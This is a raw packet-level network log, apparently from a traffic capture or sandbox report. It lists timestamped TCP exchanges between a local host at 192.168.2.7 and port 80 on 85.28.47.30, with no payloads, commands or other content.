Jul 5, 2024 06:23:09.481044054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481057882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481069088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481074095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481074095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481081009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481092930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481105089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481115103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481121063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481121063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481133938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481144905 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481146097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481158018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481172085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481180906 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481180906 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481184006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481195927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481209993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481223106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481224060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481224060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481235027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481246948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481256962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481267929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481276035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481276035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481285095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481292009 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481306076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481317997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481331110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481338024 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481338024 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481343031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481353998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481365919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481372118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481376886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481386900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481389999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481404066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481415987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481427908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481432915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481432915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481441975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481450081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481456995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481470108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481482029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481496096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481496096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481548071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.565787077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565809965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565820932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565886021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565896988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565907955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565918922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565957069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.565967083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565979004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565990925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.565999031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.565999031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566004038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566018105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566020012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566032887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566041946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566055059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566055059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566055059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566095114 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566098928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566112041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566122055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566133022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566143990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566148043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566148043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566164970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566165924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566180944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566191912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566201925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566207886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566207886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566212893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566225052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566237926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566239119 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566257000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566284895 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566313982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566423893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566471100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566575050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566586018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566595078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566606998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566617012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566632032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566636086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566636086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566656113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566673040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566684008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566694975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566696882 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566696882 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566704988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566716909 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566723108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566734076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566745996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566754103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566754103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566756010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566768885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566778898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566791058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566802025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566808939 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566808939 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566814899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566827059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566838026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.566849947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566849947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.566878080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574177027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574260950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574270010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574279070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574284077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574295998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574314117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574325085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574338913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574341059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574354887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574362040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574362040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574366093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574384928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574397087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574403048 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574407101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574420929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574426889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574434996 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574439049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574451923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574461937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574465036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574471951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574492931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574493885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574510098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574522018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574527979 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574533939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574536085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574547052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574558973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574585915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574585915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574596882 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574655056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574666977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574677944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574692011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574703932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574713945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574713945 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574713945 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574727058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574737072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574747086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574757099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574759960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574759960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574774981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574831963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574862957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574882030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574892044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574903011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574913025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574923992 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574923992 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574923992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574935913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574947119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574956894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574966908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.574974060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574974060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.574979067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575000048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575006008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575006008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575018883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575031996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575036049 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575051069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575062037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575067043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575072050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575083017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575086117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575098038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575113058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575123072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575124979 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575124979 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575133085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575145006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575153112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575156927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575170040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575180054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575190067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575192928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575192928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575202942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575220108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575226068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575231075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575243950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575253010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575256109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575256109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575264931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575277090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575287104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.575314999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575314999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.575397015 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659471989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659495115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659503937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659513950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659524918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659552097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659600973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659600973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659652948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659663916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659674883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659686089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659696102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659701109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659701109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659708977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659719944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659732103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659733057 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659743071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659754992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659763098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659763098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659766912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659790039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659796953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659796953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659807920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659812927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659821987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659832954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659842014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659852028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659862041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659872055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659883022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659892082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659895897 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659895897 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659904957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659918070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659931898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.659934998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.659956932 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660007954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660020113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660027981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660043001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660043001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660094023 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660132885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660162926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660176039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660198927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660219908 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660245895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660255909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660284996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660304070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660304070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660331011 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660372972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660383940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660393953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660404921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660415888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660420895 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660434961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660437107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660445929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660455942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660465956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660478115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660494089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660495996 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660495996 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660506964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660517931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660517931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660530090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660542011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660552979 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660552979 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660562038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660574913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.660593033 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660619020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.660619020 CEST	49699	80	192.168.2.7	85.28.47.30
